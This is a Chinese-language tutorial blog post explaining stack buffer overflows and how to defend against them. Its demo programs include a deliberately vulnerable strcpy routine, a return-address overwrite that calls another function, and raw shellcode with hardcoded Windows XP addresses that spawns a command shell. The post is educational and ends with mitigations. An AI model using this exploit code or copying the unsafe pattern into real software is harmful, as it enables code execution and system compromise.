Life is short.

生活时常妥协,Coding未曾将就

缓冲区溢出

缓冲区溢出是一种非常普遍、非常危险的漏洞。它有多种英文名称,如buffer overflow、buffer overrun、smash the stack、trash the stack等等,它也是一种比较有历史的漏洞,多个著名的漏洞报告都和缓冲区溢出有关,在各种操作系统、应用软件中广泛存在。缓冲区溢出,可以导致的后果包括:程序运行失败;系统当机,重新启动;攻击者可能利用它执行非授权指令,取得系统特权,进而进行各种非法操作;等等。
一个非常著名的缓冲区溢出攻击是Morris蠕虫,它也是利用了某些机器上某些软件上存在的缓冲区溢出漏洞,发生在1988年,它曾造成了全世界大量网络服务器瘫痪。读者可以参考相关资料。缓冲区溢出的概念很简单。缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量溢出;某些情况下,溢出的数据只是覆盖在一些不太重要的内存空间上,不会产生严重后果;但是一旦溢出的数据覆盖在合法数据上,可能给系统带来巨大的危害。如下代码:

1
2
3
4
5
void function(char *input)   
{
char buffer[16];
strcpy(buffer,input);
}

strcpy()将直接将input中的内容copy到buffer中。只要input的长度大于16,就会造成buffer的溢出。当然,这里所说的缓冲区,实际上就存在于”堆栈”区内。
我们可以假设最理想的情况是:程序对输入字符串长度进行检查,确保输入的长度不超过缓冲区允许的长度;但是在复杂的程序中,并不是每个程序员都会考虑到这一点。很多程序员都会假定输入的长度不会超过数组大小,如果一厢情愿地假设数据长度总是与所分配的储存空间会匹配,就为缓冲区溢出埋下了隐患。攻击者通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。存在象strcpy这样的问题的标准函数还有:strcat();sprintf();vsprintf();gets();scanf();等等。具体大家可以参考相应文档。
缓冲区溢出本身并不可怕,关键是发生缓冲区溢出时,会覆盖下一个相邻的内存块。由于编程语言的某些不安全的特性,它允许程序溢出缓冲区(当然,也许这种溢出是出于偶然)。在这个程序中,当发生缓冲区溢出时,可能会导致很多不可预料的行为,如:程序的执行很奇怪;程序完全失败;等等。
当然,不可否认,也有可能出现这样一种情况,程序碰巧没有覆盖重要数据,程序可以继续,而且在执行中没有任何明显不正常,但是具备安全隐患。该问题给软件的维护带来了难度。存在缓冲区溢出隐患的程序,隐患的发作是不确定的,这使得对它们的调试异常棘手。
上一段所叙述的情况实际上是一种最坏的情况:在一个环境下(如开发阶段的测试过程中),程序可能发生了缓冲区溢出,但因为没有覆盖重要数据,根本没有任何不正常;但在另一个环境下,可能在发生溢出时,碰巧地修改了分配在缓冲区附近的数据,程序执行发生不正常现象。从维护的角度讲,因为这种事情完全是”碰巧”,等到维护人员去维护时,问题就找不到了,白白花费维护人员的精力,并且可能得不到问题的本质解决。
缓冲区溢出有时候可能改变程序流程。举一个简单的例子,如果碰巧在缓冲区后面的内存中有一个布尔变量,该变量为true(1)或false(0),决定用户是否可以执行某个敏感操作。如果该变量被缓冲区溢出的数据覆盖,可能由false(0)变为true(1),程序的执行流程被更改。
上面的例子给出了缓冲区溢出的发生机制。当然,随便往缓冲区中填入内容,让缓冲区溢出,一般只是出现一些异常现象,顶多让程序崩溃,而不能达到刻意攻击的目的。
站在攻击者角度,让用户程序崩溃,属于没有什么技术含量的攻击。最常见的手段是:通过输入一段数据,造成缓冲区溢出,使程序运行一个用户命令。极端情况下,如果该程序属于管理员而且具有针对系统的任意操作权限的话,攻击者就可以利用这个漏洞造成更大的危害。
下面用一个例子来讲解缓冲区攻击的原理。所使用的环境为Microsoft Visual C++ 6.0,操作系统为Microsoft Windows XP Professional SP2。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//Test01.c
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
void fun2()
{
printf("Call fun2");
}
int main(int argc, char *argv[])
{
printf("Address Of fun2=%p\n",fun2);
fun1(argv[1]);
return 0;
}

在命令行中运行:

1
Test01.exe Security

结果为:

1
2
Address of fun2=00401005
Call fun1,buffer=Security

这是正常的。但如果输入一个长度大于10的字符串,如:

1
Test01.exe abcdefghijklmnopqrstuvwxyz1234567890

则提示
“0x74737271”指令引用的”0x74737271”内存。该内存不能为”read”。
下面分析以下错误的提示:
该错误提示中,出现了一个”0x74737271”,”0x74”是字符”t”的ASCII码,”0x73”是字符”s”的ASCII码,”0x72”是字符”r”的ASCII码,”0x71”是字符”q”的ASCII码。这说明什么问题?
该问题出现的原因是,由于输入的字符串太长,数组buffer容纳不下,但是也要将多余的字符写入堆栈。这些多余的字符没有分配合法的空间,就会覆盖堆栈中以前的内容。如果覆盖的内容仅仅是一些普通数据,表面上也不会出什么问题,只是会造成原有数据的丢失。
但是,堆栈中还有一块区域专门保存着指令指针,存放下一个CPU指令存放的内存地址(你可以理解为某个函数的地址)。如果该处被覆盖,系统会错误地将覆盖的新值当成某个指令来执行。如上面的例子中,刚好是”qrst”(0x74737271)覆盖了那一片区域,系统会将”qrst”(0x74737271)的 ASCII 码视作返回地址,认为程序接下来要执行的是0x74737271所指向的那个函数,因此试图执行0x74737271处的指令,出现难以预料的后果,程序出错退出。
但是,仅仅让程序出错退出并没有什么用。如果将该处的内容不用”qrst”覆盖,而用函数fun2的地址覆盖,我们就可以运行函数fun2了!
现在我们用fun2的地址(00401005)去覆盖输入参数中”qrst”所在的内存,伪造下一个函数的地址,编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//Test02.c
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
void fun2()
{
printf("Call fun2");
}
int main(int argc, char *argv[])
{
printf("Address Of fun2=%p\n",fun2);
fun1("abcdefghijklmnop\x05\x10\x40\x00");
return 0;
}

运行Test02.exe,控制台上显示:

1
2
3
Address Of fun2=00401005
Call fun1,buffer=abcdefghijklmnop@
Call fun2

注意!fun2函数被调用了!
在中文win2000、2003、xp中,指令通用跳转地址为 0x7ffa4512,如果命令该指令执行,程序就可以跳转到其它地方,运行其它程序,程序可以用shellcode来表示(有关shellcode,大家可以参考相应的文献)。如以下shellcode代码,表示打开一个命令行窗口:

1
2
3
4
5
6
7
8
9
10
11
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"  
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D"

编写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//Test03.c
//windows xp sp2 system地址0x7801afc3
//windows xp sp2 loadlibrary地址0x77e69f64
#include <stdio.h>
#include <string.h>
void fun1(char *input)
{
char buffer[10];
strcpy(buffer,input);
printf("Call fun1,buffer=%s\n",buffer);
}
int main(int argc, char *argv[])
{
char buffer[] = "abcdefghijklmnop\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D";
fun1(buffer);
return 0;
}

生成相应exe文件,运行时,能够打开控制台命令窗口。如果有权限,可以进行任意操作。
相应的防范方法:
如前所述,缓冲区溢出的原理,是通过将远程恶意代码注入到目标程序中以实现攻击的方法。就程序本质而言,缓冲区溢出的根本原因是由于像C、C++语言本身的不安全,如没有任何数组的界限检查和指针引用的检查,因此,检查边界成为最有效的工作,否则程序将冒着存在漏洞的风险。
解决缓冲区溢出的方法有如下几种:
1:积极检查边界。由于C和C++允许任意的缓冲区溢出,没有任何的缓冲区溢出边界检测机制来进行限制,因此,一般情况下,所有开发者需要手动在自己的代码中添加边界检测机制。
不过,也有一些优化的技术来减少手工检查的次数。如使用Richard Jones和Paul Kelly开发的gcc补丁、利用Compaq的 C 编译器等。
2:不让攻击者执行缓冲区内的命令。这种方法使得攻击者即使在被攻击者的缓冲区中植入了执行代码之后,也无法执行被植入的代码。具体方法大家可以参考相关的文献。
3:编写风格良好的代码。养成一个习惯,不要因为一味追求程序性能,而编写一些安全隐患较多的代码,特别是不要使用一些可能有漏洞的API,减少漏洞发生的可能。可以用一些查错工具,限制一些可能具有缓冲区溢出漏洞攻击的函数的调用(如strcpy和sprintf等)。
4:程序指针检查。程序指针检查不同于边界检查,程序指针检查是一旦修改了程序指针,就会被检测到,被改变的指针将不被使用。这样,即使一个攻击者成功地改变了程序的指针,因为系统事先检测到了指针的改变,这个指针将不会被使用,达不到攻击的目的。


HNYYGHK@HUST
葛弘康

华中科技大学
电子信息与通信学院